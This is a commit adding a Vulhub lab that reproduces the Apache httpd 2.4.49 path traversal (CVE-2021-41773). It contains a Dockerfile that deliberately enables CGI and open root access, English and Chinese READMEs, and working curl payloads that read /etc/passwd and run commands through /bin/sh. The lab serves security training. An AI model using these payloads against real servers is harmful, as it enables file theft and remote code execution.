first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
httpd/CVE-2021-41773/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

BIN
httpd/CVE-2021-41773/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

View File

@@ -0,0 +1,14 @@
FROM vulhub/httpd:2.4.49
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
&& cat /usr/local/apache2/conf/httpd.conf \
| tr '\n' '\r' \
| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \
| tr '\r' '\n' \
| tee /tmp/httpd.conf \
&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

View File

@@ -0,0 +1,47 @@
# Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
[中文版本(Chinese version)](README.zh-cn.md)
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows.
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root.
If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution.
References:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/ptswarm/status/1445376079548624899
- https://twitter.com/HackerGautam/status/1445412108863041544
- https://twitter.com/snyff/status/1445565903161102344
## Vulnerable environment
Execute following commands to start a vulnerable Apache HTTP Server:
```
docker compose build
docker compose up -d
```
After the server is started, you can see the default page which says `It works!` of Apache HTTP Server through `http://your-ip:8080`.
## Exploit
A simple CURL command to reproduce the vulnerability (Note that `/icons/` must be a existing directory):
```
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
The `/etc/passwd` is disclosured successfully:
![](1.png)
With the mods cgi or cgid enabled on the server, this path traversal vulnerability would allow arbitrary command execution:
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
![](2.png)

View File

@@ -0,0 +1,46 @@
# Apache HTTP Server 2.4.49 路径穿越漏洞CVE-2021-41773
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中引入了一个路径穿越漏洞满足下面两个条件的Apache服务器将会受到影响
- 版本等于2.4.49
- 穿越的目录允许被访问,比如配置了`<Directory />Require all granted</Directory>`。(默认情况下是不允许的)
攻击者利用这个漏洞可以读取位于Apache服务器Web目录以外的其他文件或者读取Web目录中的脚本文件源码或者在开启了cgi或cgid的服务器上执行任意命令。
参考链接:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/ptswarm/status/1445376079548624899
- https://twitter.com/HackerGautam/status/1445412108863041544
- https://twitter.com/snyff/status/1445565903161102344
## 漏洞环境
执行如下命令编译及运行一个存在漏洞的Apache HTTPd 2.4.49版本服务器:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
## 漏洞利用
使用如下CURL命令来发送Payload注意其中的`/icons/`必须是一个存在且可访问的目录):
```
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到`/etc/passwd`
![](1.png)
在服务端开启了cgi或cgid这两个mod的情况下这个路径穿越漏洞将可以执行任意命令
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
![](2.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
apache:
build: .
ports:
- "8080:80"